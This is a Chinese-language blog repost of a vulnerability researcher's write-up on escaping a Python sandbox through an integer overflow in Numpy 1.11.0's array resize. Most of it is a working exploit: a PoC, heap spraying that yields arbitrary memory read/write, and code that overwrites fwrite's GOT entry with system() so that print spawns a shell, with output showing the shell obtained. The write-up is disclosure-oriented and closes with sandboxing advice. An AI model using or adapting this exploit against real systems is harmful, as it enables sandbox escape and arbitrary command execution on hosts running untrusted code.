自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

利用內(nèi)存破壞實(shí)現(xiàn)Python沙盒逃逸

開(kāi)發(fā) 后端
幾周之前心癢難耐的我參與了一段時(shí)間的漏洞賞金計(jì)劃。業(yè)余這個(gè)漏洞賞金游戲最艱巨的任務(wù)就是挑選一個(gè)能夠獲得最高回報(bào)的程序。不久我就找到一個(gè)存在于Python沙盒中執(zhí)行的用戶提交代碼的Web應(yīng)用程序的bug,這看起來(lái)很有趣,所以我決定繼續(xù)研究它。

幾周之前心癢難耐的我參與了一段時(shí)間的漏洞賞金計(jì)劃。業(yè)余這個(gè)漏洞賞金游戲最艱巨的任務(wù)就是挑選一個(gè)能夠獲得最高回報(bào)的程序。不久我就找到一個(gè)存在于Python沙盒中執(zhí)行的用戶提交代碼的Web應(yīng)用程序的bug,這看起來(lái)很有趣,所以我決定繼續(xù)研究它。

[[207283]]

進(jìn)過(guò)一段時(shí)間的敲打之后,我發(fā)現(xiàn)了在Python層實(shí)現(xiàn)沙盒逃逸的方法。報(bào)告歸檔了,漏洞幾天內(nèi)及時(shí)被修復(fù),得到了一筆不錯(cuò)的賞金。完美!這是一個(gè)我的漏洞賞金征程的完美開(kāi)端。但這篇博文不是關(guān)于這篇報(bào)告的??傊瑥募夹g(shù)的角度來(lái)說(shuō)我發(fā)現(xiàn)這個(gè)漏洞的過(guò)程并不有趣。事實(shí)證明回歸總可能發(fā)生問(wèn)題。

起初并不確信Python沙盒的安全性會(huì)做的如此簡(jiǎn)單。沒(méi)有太多細(xì)節(jié),沙盒使用的是操作系統(tǒng)級(jí)別隔離與鎖定Python解釋器的組合。Python環(huán)境使用的是自定義的白名單/黑名單的方式來(lái)阻止對(duì)內(nèi)置模塊,函數(shù)的訪問(wèn)?;诓僮飨到y(tǒng)的隔離提供了一些額外的保護(hù),但是它相較于今天的標(biāo)準(zhǔn)來(lái)說(shuō)已經(jīng)過(guò)時(shí)了。從Python解釋器的逃離并不是一個(gè)完全的勝利,但是它能夠使攻擊者危險(xiǎn)地接近于黑掉整個(gè)系統(tǒng)。

因此我回到了應(yīng)用程序進(jìn)行了測(cè)試。沒(méi)有運(yùn)氣,這確實(shí)是一個(gè)困難的挑戰(zhàn)。但突然我有了一個(gè)想法——Python模塊通常只是大量C代碼的封裝。這里肯定會(huì)有未被發(fā)現(xiàn)的內(nèi)存破壞漏洞。領(lǐng)用內(nèi)存破壞我就能夠突破Python環(huán)境的限制。

從哪里開(kāi)始呢?我知道沙盒內(nèi)部導(dǎo)入模塊的白名單。或許我該先運(yùn)行一個(gè)分布式的AFL fuzzer?還是一個(gè)符號(hào)執(zhí)行引擎?抑或使用先進(jìn)的靜態(tài)分析工具來(lái)掃描他們。當(dāng)然,我可以做其中任何事情,可能我只需要查詢一些bug跟蹤器。

Python

結(jié)果表明在狩獵之初我并沒(méi)有這個(gè)先見(jiàn)之明,但問(wèn)題不大。直覺(jué)引導(dǎo)我通過(guò)手動(dòng)代碼審計(jì)和測(cè)試發(fā)現(xiàn)一個(gè)沙盒白名單模塊中的一個(gè)可利用的內(nèi)存破壞漏洞。這個(gè)漏洞存在于Numpy中,一個(gè)基本的科學(xué)計(jì)算庫(kù)——是許多流行包的核心包括scipy和pandas。要想了解Numpy作為漏洞根源的一大潛力,我們先來(lái)查看一下代碼的行數(shù)。

在這篇文章的其余部分,首先我將描述導(dǎo)致這個(gè)漏洞的觸發(fā)條件。接下來(lái),我將討論一些漏洞利用開(kāi)發(fā)人員應(yīng)該了解的CPython運(yùn)行時(shí)的奇事,然后我將逐步進(jìn)入實(shí)際的利用。最后,我總結(jié)了一些Python應(yīng)用程序中量化內(nèi)存損壞問(wèn)題的想法。

漏洞

我將要討論漏洞是Numpy v1.11.0(或許是更舊版本)中的整數(shù)溢出錯(cuò)誤。自v1.12.0以來(lái),該問(wèn)題已經(jīng)解決,但沒(méi)有發(fā)布安全公告。

該漏洞駐留在用于調(diào)整Numpy的多維數(shù)組類(lèi)對(duì)象(ndarray和friends)的API中。定義數(shù)組形狀的元組調(diào)用了resize,其中元組的每個(gè)元素都是維度的大小。

  1. $ python 
  2.  
  3. >>> import numpy as np 
  4.  
  5. >>> arr = np.ndarray((2, 2), ‘int32’) 
  6.  
  7. >>> arr.resize((2, 3)) 
  8.  
  9. >>> arr 
  10.  
  11. array([[-895628408, 32603, -895628408], 
  12.  
  13. [ 32603, 0, 0]], dtype=int32

是的這個(gè)元組會(huì)泄漏未初始化的內(nèi)存,但在這篇博文中我們不會(huì)討論這個(gè)問(wèn)題

如上所言,resize實(shí)質(zhì)上會(huì)realloc 一個(gè)buffer,其大小是元組形狀和元素大小的乘積。因此在前面的代碼片段中,arr.resize((2,3))等價(jià)于 realloc(buffer,2*3*sizeof(int32)). 下一個(gè)代碼片段是C中resize的重寫(xiě)實(shí)現(xiàn)。

  1. NPY_NO_EXPORT PyObject * 
  2.  
  3. PyArray_Resize(PyArrayObject *self, PyArray_Dims *newshape, int refcheck, 
  4.  
  5. NPY_ORDER order) 
  6.  
  7.  
  8. // npy_intp is `long long` 
  9.  
  10. npy_intp* new_dimensions = newshape->ptr; 
  11.  
  12. npy_intp newsize = 1
  13.  
  14. int new_nd = newshape->len; 
  15.  
  16. int k; 
  17.  
  18. // NPY_MAX_INTP is MAX_LONGLONG (0x7fffffffffffffff) 
  19.  
  20. npy_intp largest = NPY_MAX_INTP / PyArray_DESCR(self)->elsize; 
  21.  
  22. for(k = 0; k < new_nd; k++) { 
  23.  
  24. newsize *= new_dimensions[k]; 
  25.  
  26. if (newsize <= 0 || newsize > largest) { 
  27.  
  28. return PyErr_NoMemory(); 
  29.  
  30.  
  31.  
  32. if (newsize == 0) { 
  33.  
  34. sd = PyArray_DESCR(self)->elsize; 
  35.  
  36.  
  37. else { 
  38.  
  39. sd = newsize*PyArray_DESCR(self)->elsize; 
  40.  
  41.  
  42. /* Reallocate space if needed */ 
  43.  
  44. new_data = realloc(PyArray_DATA(self), sd); 
  45.  
  46. if (new_data == NULL) { 
  47.  
  48. PyErr_SetString(PyExc_MemoryError, 
  49.  
  50. “cannot allocate memory for array”); 
  51.  
  52. return NULL; 
  53.  
  54.  
  55. ((PyArrayObject_fields *)self)->data = new_data

發(fā)現(xiàn)漏洞了嗎? 可以在for循環(huán)(第13行)中看到,每個(gè)維度相乘以產(chǎn)生新的大小。稍后(第25行),將新大小和元素大小的乘積作為數(shù)組大小傳遞給realloc。在realloc之前有一些關(guān)于大小的驗(yàn)證,但是它不檢查整數(shù)溢出,這意味著非常大的維度可能導(dǎo)致分配大小不足的數(shù)組。 最終,這給攻擊者一個(gè)可利用的exploit類(lèi)型:通過(guò)從具有溢出數(shù)組的大小索引來(lái)獲得讀寫(xiě)任意內(nèi)存的能力。

讓我們來(lái)快速開(kāi)發(fā)一個(gè)poc來(lái)驗(yàn)證bug的存在

  1. $ cat poc.py 
  2.  
  3. import numpy as np 
  4.  
  5. arr = np.array('A'*0x100) 
  6.  
  7. arr.resize(0x1000, 0x100000000000001) 
  8.  
  9. print "bytes allocated for entire array:    " + hex(arr.nbytes) 
  10.  
  11. print "max # of elemenets for inner array:  " + hex(arr[0].size) 
  12.  
  13. print "size of each element in inner array: " + hex(arr[0].itemsize) 
  14.  
  15. arr[0][10000000000] 
  16.  
  17. $ python poc.py 
  18.  
  19. bytes allocated for entire array:    0x100000 
  20.  
  21. max # of elemenets for inner array:  0x100000000000001 
  22.  
  23. size of each element in inner array: 0x100 
  24.  
  25. [1]    2517 segmentation fault (core dumped)  python poc.py 
  26.  
  27. $ gdb `which python` core 
  28.  
  29. ... 
  30.  
  31. Program terminated with signal SIGSEGV, Segmentation fault. 
  32.  
  33. (gdb) bt 
  34.  
  35. #0 0x00007f20a5b044f0 in PyArray_Scalar (data=0x8174ae95f010descr=0x7f20a2fb5870
  36.  
  37. base=<numpy.ndarray at remote 0x7f20a7870a80>) at numpy/core/src/multiarray/scalarapi.c:651 
  38.  
  39. #1 0x00007f20a5add45c in array_subscript (self=0x7f20a7870a80op=<optimized out>
  40.  
  41. at numpy/core/src/multiarray/mapping.c:1619 
  42.  
  43. #2 0x00000000004ca345 in PyEval_EvalFrameEx () at ../Python/ceval.c:1539… 
  44.  
  45. (gdb) x/i $pc 
  46.  
  47. => 0x7f20a5b044f0 <PyArray_Scalar+480>: cmpb $0x0,(%rcx) 
  48.  
  49. (gdb) x/g $rcx 
  50.  
  51. 0x8174ae95f10f: Cannot access memory at address 0x8174ae95f10f 

Cpython 運(yùn)行時(shí)的一些奇怪之處

在開(kāi)發(fā)exp之前,我想討論一些CPython運(yùn)行時(shí)的特征來(lái)簡(jiǎn)化exp的開(kāi)發(fā),同時(shí)討論一些阻擾exp開(kāi)發(fā)的方法。 如果您想直接進(jìn)入漏洞利用,請(qǐng)直接跳過(guò)本節(jié)。

內(nèi)存泄露

通常,首要障礙之一就是要挫敗地址空間布局隨機(jī)化(ASLR)。 幸運(yùn)的是,對(duì)于攻擊者來(lái)說(shuō),Python使這變得很容易。 內(nèi)置id函數(shù)返回對(duì)象的內(nèi)存地址,或者更準(zhǔn)確地說(shuō),封裝對(duì)象的PyObject結(jié)構(gòu)的地址。

  1. $ gdb -q — arg /usr/bin/python2.7 
  2.  
  3. (gdb) run -i 
  4.  
  5. … 
  6.  
  7. >>> a = ‘A’*0x100 
  8.  
  9. >>> b = ‘B’*0x100000 
  10.  
  11. >>> import numpy as np 
  12.  
  13. >>> c = np.ndarray((10, 10)) 
  14.  
  15. >>> hex(id(a)) 
  16.  
  17. ‘0x7ffff7f65848’ 
  18.  
  19. >>> hex(id(b)) 
  20.  
  21. ‘0xa52cd0’ 
  22.  
  23. >>> hex(id(c)) 
  24.  
  25. ‘0x7ffff7e777b0’ 

在現(xiàn)實(shí)世界的應(yīng)用程序中,開(kāi)發(fā)人員應(yīng)確保不向用戶暴露id(object)。 在沙盒的環(huán)境中,你不可能對(duì)此行為做太多的擦奧做,除了可能將id添加進(jìn)黑名單或重新實(shí)現(xiàn)id來(lái)返回哈希。

理解內(nèi)存分配行為

了解分配器對(duì)于編寫(xiě)exp至關(guān)重要。Python對(duì)不同的對(duì)象類(lèi)型和大小實(shí)行不同的分配策略。我們來(lái)看看我們的大字符串0xa52cd0,小字符串0x7ffff7f65848和numpy數(shù)組0x7ffff7e777b0的位置。

  1. $ cat /proc/`pgrep python`/maps 
  2.  
  3. 00400000–006ea000 r-xp 00000000 08:01 2712 /usr/bin/python2.7 
  4.  
  5. 008e9000–008eb000 r — p 002e9000 08:01 2712 /usr/bin/python2.7 
  6.  
  7. 008eb000–00962000 rw-p 002eb000 08:01 2712 /usr/bin/python2.7 
  8.  
  9. 00962000–00fa8000 rw-p 00000000 00:00 0 [heap]  # big string 
  10.  
  11. ... 
  12.  
  13. 7ffff7e1d000–7ffff7edd000 rw-p 00000000 00:00 0 # numpy array 
  14.  
  15. ... 
  16.  
  17. 7ffff7f0e000–7ffff7fd3000 rw-p 00000000 00:00 0 # small string 

Python 對(duì)象結(jié)構(gòu)

溢出和破壞Python對(duì)象的元數(shù)據(jù)是一個(gè)很強(qiáng)大的能力,因此理解Python對(duì)象如何是表示的很有用。Python對(duì)象都派生自PyObject,這是一個(gè)包含引用計(jì)數(shù)和對(duì)象實(shí)際類(lèi)型描述符的結(jié)構(gòu)。 值得注意的是,類(lèi)型描述符包含許多字段,包括可能對(duì)讀取或覆蓋有用的函數(shù)指針。

先檢查一下我們?cè)谇懊鎰?chuàng)建的小字符串。

  1. (gdb) print *(PyObject *)0x7ffff7f65848 
  2.  
  3. $2 = {ob_refcnt = 1ob_type = 0x9070a0 <PyString_Type>
  4.  
  5. (gdb) print *(PyStringObject *)0x7ffff7f65848 
  6.  
  7. $3 = {ob_refcnt = 1ob_type = 0x9070a0 <PyString_Type>ob_size = 256ob_shash = -1, ob_sstate = 0ob_sval = “A”} 
  8.  
  9. (gdb) x/s ((PyStringObject *)0x7ffff7f65848)->ob_sval 
  10.  
  11. 0x7ffff7f6586c: ‘A’ <repeats 200 times>... 
  12.  
  13. (gdb) ptype PyString_Type 
  14.  
  15. type = struct _typeobject { 
  16.  
  17. Py_ssize_t ob_refcnt; 
  18.  
  19. struct _typeobject *ob_type; 
  20.  
  21. Py_ssize_t ob_size; 
  22.  
  23. const char *tp_name; 
  24.  
  25. Py_ssize_t tp_basicsize; 
  26.  
  27. Py_ssize_t tp_itemsize; 
  28.  
  29. destructor tp_dealloc; 
  30.  
  31. printfunc tp_print; 
  32.  
  33. getattrfunc tp_getattr; 
  34.  
  35. setattrfunc tp_setattr; 
  36.  
  37. cmpfunc tp_compare; 
  38.  
  39. reprfunc tp_repr; 
  40.  
  41. PyNumberMethods *tp_as_number; 
  42.  
  43. PySequenceMethods *tp_as_sequence; 
  44.  
  45. PyMappingMethods *tp_as_mapping; 
  46.  
  47. hashfunc tp_hash; 
  48.  
  49. ternaryfunc tp_call; 
  50.  
  51. reprfunc tp_str; 
  52.  
  53. getattrofunc tp_getattro; 
  54.  
  55. setattrofunc tp_setattro; 
  56.  
  57. PyBufferProcs *tp_as_buffer; 
  58.  
  59. long tp_flags; 
  60.  
  61. const char *tp_doc; 
  62.  
  63. traverseproc tp_traverse; 
  64.  
  65. inquiry tp_clear; 
  66.  
  67. richcmpfunc tp_richcompare; 
  68.  
  69. Py_ssize_t tp_weaklistoffset; 
  70.  
  71. getiterfunc tp_iter; 
  72.  
  73. iternextfunc tp_iternext; 
  74.  
  75. struct PyMethodDef *tp_methods; 
  76.  
  77. struct PyMemberDef *tp_members; 
  78.  
  79. struct PyGetSetDef *tp_getset; 
  80.  
  81. struct _typeobject *tp_base; 
  82.  
  83. PyObject *tp_dict; 
  84.  
  85. descrgetfunc tp_descr_get; 
  86.  
  87. descrsetfunc tp_descr_set; 
  88.  
  89. Py_ssize_t tp_dictoffset; 
  90.  
  91. initproc tp_init; 
  92.  
  93. allocfunc tp_alloc; 
  94.  
  95. newfunc tp_new; 
  96.  
  97. freefunc tp_free; 
  98.  
  99. inquiry tp_is_gc; 
  100.  
  101. PyObject *tp_bases; 
  102.  
  103. PyObject *tp_mro; 
  104.  
  105. PyObject *tp_cache; 
  106.  
  107. PyObject *tp_subclasses; 
  108.  
  109. PyObject *tp_weaklist; 
  110.  
  111. destructor tp_del; 
  112.  
  113. unsigned int tp_version_tag; 
  114.  

有許多有用的字段可用于讀取或?qū)懭腩?lèi)型指針,函數(shù)指針,數(shù)據(jù)指針,大小等。

Shellcode like it’s 1999

ctypes庫(kù)作為Python和C代碼之間的橋梁。它提供與C兼容的數(shù)據(jù)類(lèi)型,并允許在DLL或共享庫(kù)中調(diào)用函數(shù)。許多具有C綁定或需要調(diào)用共享庫(kù)的模塊需要導(dǎo)入ctypes。

我注意到,導(dǎo)入ctypes會(huì)導(dǎo)致以讀/寫(xiě)/執(zhí)行權(quán)限設(shè)置的4K大小的內(nèi)存區(qū)域。 如果還不明顯,這意味著攻擊者甚至不需要編寫(xiě)一個(gè)ROP鏈。假定你已經(jīng)找到了RWX區(qū)域。利用一個(gè)bug就像把指針指向你的shellcode一樣簡(jiǎn)單。

自己測(cè)試一下!

  1. $ cat foo.py 
  2.  
  3. import ctypes 
  4.  
  5. while True: 
  6.  
  7. pass 
  8.  
  9. $ python foo.py 
  10.  
  11. ^Z 
  12.  
  13. [2] + 30567 suspended python foo.py 
  14.  
  15. $ grep rwx /proc/30567/maps 
  16.  
  17. 7fcb806d5000–7fcb806d6000 rwxp 00000000 00:00 0 

進(jìn)一步調(diào)查發(fā)現(xiàn)libffi的封閉API負(fù)責(zé)mmap RWX區(qū)域。 但是,該區(qū)域不能在某些平臺(tái)上分配RWX,例如啟用了selinux或PAX mprotect的系統(tǒng),但有一些代碼可以解決這個(gè)限制。

我沒(méi)有花太多時(shí)間嘗試可靠地RWX mapping,但是從理論上講,如果你有一個(gè)任意讀取的exploit原函數(shù),應(yīng)該是可能的。 當(dāng)ASLR應(yīng)用于庫(kù)時(shí),動(dòng)態(tài)鏈接器以可預(yù)測(cè)的順序映射庫(kù)的內(nèi)存。庫(kù)的內(nèi)存包括庫(kù)私有的全局變量和代碼本身。 Libffi將對(duì)RWX內(nèi)存的引用存儲(chǔ)為全局。例如,如果在堆上找到指向libffi函數(shù)的指針,則可以將RWX區(qū)域指針的地址預(yù)先計(jì)算為與libffi函數(shù)指針的地址的偏移量。每個(gè)庫(kù)版本都需要調(diào)整偏移量。

The Exploit

我在Ubuntu 14.04.5和16.04.1上測(cè)試了Python2.7二進(jìn)制文件的安全相關(guān)編譯器標(biāo)志。 發(fā)現(xiàn)幾個(gè)弱點(diǎn),這對(duì)攻擊者來(lái)說(shuō)是非常有用的:

部分RELRO:可執(zhí)行文件的GOT seciotn,包含動(dòng)態(tài)鏈接到二進(jìn)制文件的庫(kù)函數(shù)的指針,是可寫(xiě)的。 例如,exploits可以用system()替換printf()的地址。

沒(méi)有PIE:二進(jìn)制不是位置無(wú)關(guān)的可執(zhí)行文件,這意味著當(dāng)內(nèi)核將ASLR應(yīng)用于大多數(shù)內(nèi)存映射時(shí),二進(jìn)制本身的內(nèi)容被映射到靜態(tài)地址。 由于GOT seciotn是二進(jìn)制文件的一部分,因此PIE使攻擊者更容易找到并寫(xiě)入GOT。

雖然CPython是一個(gè)充滿了漏洞開(kāi)發(fā)工具的環(huán)境,但是有一些力量破壞了我的許多漏洞利用嘗試,并且難以調(diào)試。

垃圾收集器,類(lèi)型系統(tǒng)以及可能的其他未知的力將破壞您的漏洞利用,如果您不小心克隆對(duì)象元數(shù)據(jù)。

id()可能不可靠。由于一些原因我無(wú)法確定,Python有時(shí)會(huì)在使用原始對(duì)象時(shí)傳遞對(duì)象的副本。

分配對(duì)象的區(qū)域有些不可預(yù)測(cè)。由于一些原因我無(wú)法確定,特定的編碼模式導(dǎo)致緩沖區(qū)被分配到brk堆中,而其他模式會(huì)在一個(gè)python指定的mmap’d堆中分配。

在發(fā)現(xiàn)numpy整數(shù)溢出后不久,我向提交了一個(gè)劫持指令指針的概念證明的報(bào)告,雖然沒(méi)有注入任何代碼。 當(dāng)我最初提交時(shí),我沒(méi)有意識(shí)到PoC實(shí)際上是不可靠的,并且我無(wú)法對(duì)其服務(wù)器進(jìn)行正確的測(cè)試,因?yàn)轵?yàn)證劫持指令指針需要訪問(wèn)core dump或debugger。 供應(yīng)商承認(rèn)這個(gè)問(wèn)題的合法性,但是比起我的第一份報(bào)告,他們的給的回報(bào)比較少。

還算不賴(lài)

我不是一個(gè)漏洞利用開(kāi)發(fā)者,但挑戰(zhàn)自己是我做得更好。 經(jīng)過(guò)多次試錯(cuò),我最終寫(xiě)了一個(gè)似乎是可靠exp。 不幸的是,我無(wú)法在供應(yīng)商的沙盒中測(cè)試它,因?yàn)樵谕瓿芍案铝薾umpy,但是在Python解釋器中本地測(cè)試時(shí)它的工作正常。

在高層次來(lái)說(shuō)上,漏洞利用溢出numpy數(shù)組的大小來(lái)獲得任意的讀/寫(xiě)能力。 原函數(shù)用于將系統(tǒng)的地址寫(xiě)入fwrite的GOT / PLT條目。 最后,Python內(nèi)置的print調(diào)用fwrite覆蓋,所以現(xiàn)在你可以調(diào)用print ‘/bin/sh’來(lái)獲取一個(gè)shell,或者用任何命令替換/ bin / sh。

我建議從自下而上開(kāi)始閱讀,包括評(píng)論。 如果您使用的是不同版本的Python,請(qǐng)?jiān)谶\(yùn)行該文件之前調(diào)整fwrite和system的GOT位置。

  1. import numpy as np 
  2.  
  3.  
  4.  
  5. # addr_to_str is a quick and dirty replacement for struct.pack(), needed 
  6.  
  7. # for sandbox environments that block the struct module. 
  8.  
  9. def addr_to_str(addr): 
  10.  
  11. addr_str = "%016x" % (addr) 
  12.  
  13. ret = str() 
  14.  
  15. for i in range(16, 0, -2): 
  16.  
  17. retret = ret + addr_str[i-2:i].decode('hex') 
  18.  
  19. return ret 
  20.  
  21.  
  22.  
  23. # read_address and write_address use overflown numpy arrays to search for 
  24.  
  25. # bytearray objects we've sprayed on the heap, represented as a PyByteArray 
  26.  
  27. # structure: 
  28.  
  29.  
  30. # struct PyByteArray { 
  31.  
  32. #     Py_ssize_t ob_refcnt; 
  33.  
  34. #     struct _typeobject *ob_type; 
  35.  
  36. #     Py_ssize_t ob_size; 
  37.  
  38. #     int ob_exports; 
  39.  
  40. #     Py_ssize_t ob_alloc; 
  41.  
  42. #     char *ob_bytes; 
  43.  
  44. # }; 
  45.  
  46.  
  47. # Once located, the pointer to actual data `ob_bytes` is overwritten with the 
  48.  
  49. # address that we want to read or write. We then cycle through the list of byte 
  50.  
  51. # arrays until we find the  one that has been corrupted. This bytearray is used 
  52.  
  53. # to read or write the desired location. Finally, we clean up by setting 
  54.  
  55. # `ob_bytes` back to its original value. 
  56.  
  57. def find_address(addr, data=None): 
  58.  
  59. i = 0 
  60.  
  61. j = -1 
  62.  
  63. k = 0 
  64.  
  65.  
  66.  
  67. if data: 
  68.  
  69. size = 0x102 
  70.  
  71. else: 
  72.  
  73. size = 0x103 
  74.  
  75. for k, arr in enumerate(arrays): 
  76.  
  77. i = 0 
  78.  
  79. for i in range(0x2000): # 0x2000 is a value that happens to work 
  80.  
  81. # Here we search for the signature of a PyByteArray structure 
  82.  
  83. j = arr[0][i].find(addr_to_str(0x1))                  # ob_refcnt 
  84.  
  85. if (j < 0 or 
  86.  
  87. arr[0][i][j+0x10:j+0x18] != addr_to_str(size) or  # ob_size 
  88.  
  89. arr[0][i][j+0x20:j+0x28] != addr_to_str(size+1)): # ob_alloc 
  90.  
  91. continue 
  92.  
  93. idx_bytes = j+0x28                                    # ob_bytes 
  94.  
  95.  
  96.  
  97. # Save an unclobbered copy of the bytearray metadata 
  98.  
  99. saved_metadata = arrays[k][0][i] 
  100.  
  101.  
  102.  
  103. # Overwrite the ob_bytes pointer with the provded address 
  104.  
  105. addr_string = addr_to_str(addr) 
  106.  
  107. new_metadata = (saved_metadata[0:idx_bytes] + 
  108.  
  109. addr_string + 
  110.  
  111. saved_metadata[idx_bytes+8:]) 
  112.  
  113. arrays[k][0][i] = new_metadata 
  114.  
  115.  
  116.  
  117. ret = None 
  118.  
  119. for bytearray_ in bytearrays: 
  120.  
  121. try: 
  122.  
  123. # We differentiate the signature by size for each 
  124.  
  125. # find_address invocation because we don't want to 
  126.  
  127. # accidentally clobber the wrong  bytearray structure. 
  128.  
  129. # We know we've hit the structure we're looking for if 
  130.  
  131. # the size matches and it contents do not equal 'XXXXXXXX' 
  132.  
  133. if len(bytearray_) == size and bytearray_[0:8] != 'XXXXXXXX': 
  134.  
  135. if data: 
  136.  
  137. bytearray_[0:8] = data # write memory 
  138.  
  139. else: 
  140.  
  141. ret = bytearray_[0:8] # read memory 
  142.  
  143.  
  144.  
  145. # restore the original PyByteArray->ob_bytes 
  146.  
  147. arrays[k][0][i] = saved_metadata 
  148.  
  149. return ret 
  150.  
  151. except: 
  152.  
  153. pass 
  154.  
  155. raise Exception("Failed to find address %x" % addr) 
  156.  
  157.  
  158.  
  159. def read_address(addr): 
  160.  
  161. return find_address(addr) 
  162.  
  163.  
  164.  
  165. def write_address(addr, data): 
  166.  
  167. find_address(addr, data) 
  168.  
  169.  
  170.  
  171.  
  172.  
  173. # The address of GOT/PLT entries for system() and fwrite() are hardcoded. These 
  174.  
  175. # addresses are static for a given Python binary when compiled without -fPIE. 
  176.  
  177. # You can obtain them yourself with the following command: 
  178.  
  179. # `readelf -a /path/to/python/ | grep -E '(system|fwrite)' 
  180.  
  181. SYSTEM = 0x8eb278 
  182.  
  183. FWRITE = 0x8eb810 
  184.  
  185.  
  186.  
  187. # Spray the heap with some bytearrays and overflown numpy arrays. 
  188.  
  189. arrays = [] 
  190.  
  191. bytearrays = [] 
  192.  
  193. for i in range(100): 
  194.  
  195. arrays.append(np.array('A'*0x100)) 
  196.  
  197. arrays[-1].resize(0x1000, 0x100000000000001) 
  198.  
  199. bytearrays.append(bytearray('X'*0x102)) 
  200.  
  201. bytearrays.append(bytearray('X'*0x103)) 
  202.  
  203.  
  204.  
  205. # Read the address of system() and write it to fwrite()'s PLT entry. 
  206.  
  207. data = read_address(SYSTEM) 
  208.  
  209. write_address(FWRITE, data) 
  210.  
  211.  
  212.  
  213. # print() will now call system() with whatever string you pass 
  214.  
  215. print "PS1='[HACKED] $ ' /bin/sh" 

運(yùn)行此exp會(huì)返回給你一個(gè)shell

  1. $ virtualenv .venv 
  2.  
  3. Running virtualenv with interpreter /usr/bin/python2 
  4.  
  5. New python executable in /home/gabe/Downloads/numpy-exploit/.venv/bin/python2 
  6.  
  7. Also creating executable in /home/gabe/Downloads/numpy-exploit/.venv/bin/python 
  8.  
  9. Installing setuptools, pkg_resources, pip, wheel...done. 
  10.  
  11. $ source .venv/bin/activate 
  12.  
  13. (.venv) $ pip install numpy==1.11.0 
  14.  
  15. Collecting numpy==1.11.0 
  16.  
  17. Using cached numpy-1.11.0-cp27-cp27mu-manylinux1_x86_64.whl 
  18.  
  19. Installing collected packages: numpy 
  20.  
  21. Successfully installed numpy-1.11.0 
  22.  
  23. (.venv) $ python --version 
  24.  
  25. Python 2.7.12 
  26.  
  27. (.venv) $ python numpy_exploit.py 
  28.  
  29. [HACKED] $ 

如果您不運(yùn)行Python 2.7.12,請(qǐng)參閱漏洞利用中的注釋?zhuān)私馊绾问蛊溥m用于您的Python版本。

量化風(fēng)險(xiǎn)

眾所周知,Python的核心和許多第三方模塊都是C代碼的封裝。也許不被認(rèn)識(shí)到,內(nèi)存破壞在流行的Python模塊中一直沒(méi)有像CVE,安全公告,甚至在發(fā)行說(shuō)明中提到安全修補(bǔ)程序一樣被報(bào)告。

是的,Python模塊中有很多內(nèi)存損壞的bug。 當(dāng)然不是所有的都是可以利用的,但你必須從某個(gè)地方開(kāi)始。為了解釋內(nèi)存破壞造成的風(fēng)險(xiǎn),我發(fā)現(xiàn)使用兩個(gè)獨(dú)立的用例來(lái)描述對(duì)話很有用:常規(guī)Python應(yīng)用程序和沙盒不受信任的代碼。

正則表達(dá)式

我們關(guān)心的應(yīng)用程序類(lèi)型是具有有意義的攻擊面的那些??紤]Web應(yīng)用程序和其他面向網(wǎng)絡(luò)的服務(wù),處理不受信任的內(nèi)容,系統(tǒng)特權(quán)服務(wù)等的客戶端應(yīng)用程序。許多這些應(yīng)用程序?qū)胗沙啥袰代碼便宜而來(lái)的Python模塊,且將其內(nèi)存破壞視為安全問(wèn)題。這個(gè)純粹的想法可能會(huì)使一些安全專(zhuān)業(yè)人員夙夜難寐,但實(shí)際上風(fēng)險(xiǎn)通常被忽視或忽視。我懷疑有幾個(gè)原因:

  • 遠(yuǎn)程識(shí)別和利用內(nèi)存破壞問(wèn)題的難度相當(dāng)高,特別是對(duì)于閉源和遠(yuǎn)程應(yīng)用程序。
  • 應(yīng)用程序暴露不可信輸入路徑以達(dá)到易受攻擊的功能的可能性可能相當(dāng)?shù)汀?/li>
  • 意識(shí)不足,因?yàn)镻ython模塊中的內(nèi)存損壞錯(cuò)誤通常不會(huì)被視為安全問(wèn)題。

公平地說(shuō),由于某些隨機(jī)Python模塊中的緩沖區(qū)溢出而導(dǎo)致入侵的可能性可能相當(dāng)?shù)汀5?,再次聲明,?nèi)存破壞的缺陷在發(fā)生時(shí)可能是非常有害的。有時(shí)它甚至不會(huì)讓任何人明確地利用他們來(lái)造成破壞。更糟糕的是,當(dāng)庫(kù)維護(hù)者在安全性方面不考慮內(nèi)存破壞問(wèn)題時(shí),給庫(kù)打上安全補(bǔ)丁是不可能的。

如果您開(kāi)發(fā)了一個(gè)主要的Python應(yīng)用程序,建議您至少使用流行的Python模塊。嘗試找出您的模塊依賴(lài)的C代碼數(shù)量,并分析本地代碼暴露于應(yīng)用程序邊緣的潛力。

沙盒

一些服務(wù)允許用戶在沙箱內(nèi)運(yùn)行不受信任的Python代碼。 操作系統(tǒng)級(jí)的沙盒功能,如linux命名空間和seccomp,最近才以Docker,LXC等形式流行起來(lái)。不行的是,今日仍然可以發(fā)現(xiàn)用戶使用較弱的沙盒技術(shù) – 在chroot形式的OS層更糟糕的是,沙盒可以完全在Python中完成(請(qǐng)參閱pypy-sandbox和pysandbox)。

內(nèi)存破壞完全打破了OS不執(zhí)行沙盒這一原則。 執(zhí)行Python代碼子集的能力使得開(kāi)發(fā)遠(yuǎn)exp比常規(guī)應(yīng)用程序更加方便。即使是由于其虛擬化系統(tǒng)調(diào)用的雙進(jìn)程模型而聲稱(chēng)安全的Pypy-sandbox也可能被緩沖區(qū)溢出所破壞。

如果您想運(yùn)行任何不受信任的代碼,請(qǐng)投入精力建立一個(gè)安全的操作系統(tǒng)和網(wǎng)絡(luò)架構(gòu)來(lái)沙盒執(zhí)行它。

責(zé)任編輯:趙寧寧 來(lái)源: 36大數(shù)據(jù)
相關(guān)推薦

2015-08-24 13:46:17

2022-02-17 16:32:58

Android隱私沙盒隱私保護(hù)標(biāo)準(zhǔn)

2013-05-02 14:48:52

iOS開(kāi)發(fā)沙盒SandBox結(jié)構(gòu)

2021-05-30 19:29:12

內(nèi)存Go語(yǔ)言

2017-03-17 09:31:40

2015-08-07 14:39:23

2023-07-09 00:32:12

2022-07-25 15:38:59

Go 語(yǔ)言Go 語(yǔ)言編譯器內(nèi)存逃逸

2011-06-30 15:42:49

卡巴斯基沙盒

2009-07-24 20:08:06

2023-04-28 17:53:09

Kubernetes沙盒Signadot

2020-09-18 10:46:10

網(wǎng)絡(luò)攻擊

2020-09-18 10:56:00

惡意軟件沙盒網(wǎng)絡(luò)攻擊

2018-04-15 16:09:10

2018RSA創(chuàng)新沙盒數(shù)據(jù)泄露

2023-01-10 09:18:37

Go內(nèi)存分配逃逸

2011-05-10 14:27:27

2024-01-16 07:46:11

2011-06-02 10:13:56

